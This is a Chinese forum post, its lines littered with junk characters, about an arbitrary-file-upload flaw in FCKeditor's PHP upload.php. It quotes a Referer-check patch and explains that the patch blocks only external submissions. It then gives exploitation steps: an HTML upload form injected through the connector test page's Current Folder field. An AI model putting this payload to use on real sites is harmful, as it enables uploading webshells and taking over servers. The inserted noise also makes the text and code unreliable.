漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
) U, e3 u0 v1 S8 f' R- z网上给出的修复方案是
( s: Z% L- F* m2 F/ _: i5 `& J修复方法,删除FCK编辑器用其他的编辑器
# E% b3 f# U' g: w% r- x或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
$ S n3 t6 k4 @! q3 I在
5 ^8 [& k+ x3 x5 c; Q+ F0 L5 xrequire(‘config.php’);
: l; Y8 W; f4 \( w3 W: p! ^5 Grequire(‘util.php’);. z4 {) V4 J% {+ S8 a
的下面添加以下代码—————————–
7 t: Z; S: Y' D8 [" W9 l K) u//防止外部提交
: q4 x* b+ u/ I& z C( @: tfunction outsidepost()' {; M* D5 c* x6 m$ h
{* O* ?/ E. ]0 @% _5 e: w; L
$servername=$_SERVER['SERVER_NAME'];$ q# T& `' H6 A8 U
$sub_from=@$_SERVER['HTTP_REFERER'];& w/ m4 x o, S3 j" i& F0 l) }1 @
$sub_len=strlen($servername);
@* D. @( Q; g6 D/ C& b4 k$checkfrom=substr($sub_from,7,$sub_len);3 @2 n1 j5 F/ L% x- ~6 e1 V
if($checkfrom!=$servername){; X! h( X! z+ W' W( F
echo(“you don’t outsidepost!”);( i% j F: Z- l& \" \, \
exit;
`$ G; K1 ~! F* t& m2 Y) j0 R}* {# M' x3 q) W5 q' I# }$ n1 \
}' o; J+ Z- v' N
outsidepost();7 C# Z% a5 [; c p: y! d% ?9 X
防止外部提交,但是没有防止内部提交,
2 H; b7 C; x* I7 N, i( `利用方法:& `2 m8 R1 Z) {! |8 B- d
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
) q/ b! C" d# Y4 |2 n9 D2,在Current Folder 框输入# ~$ \6 c J! _9 C
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
8 W2 W& f7 k5 r- Z) A* K' l' Q然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。) q0 e, z5 Q3 U' ?. k* M. Z
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |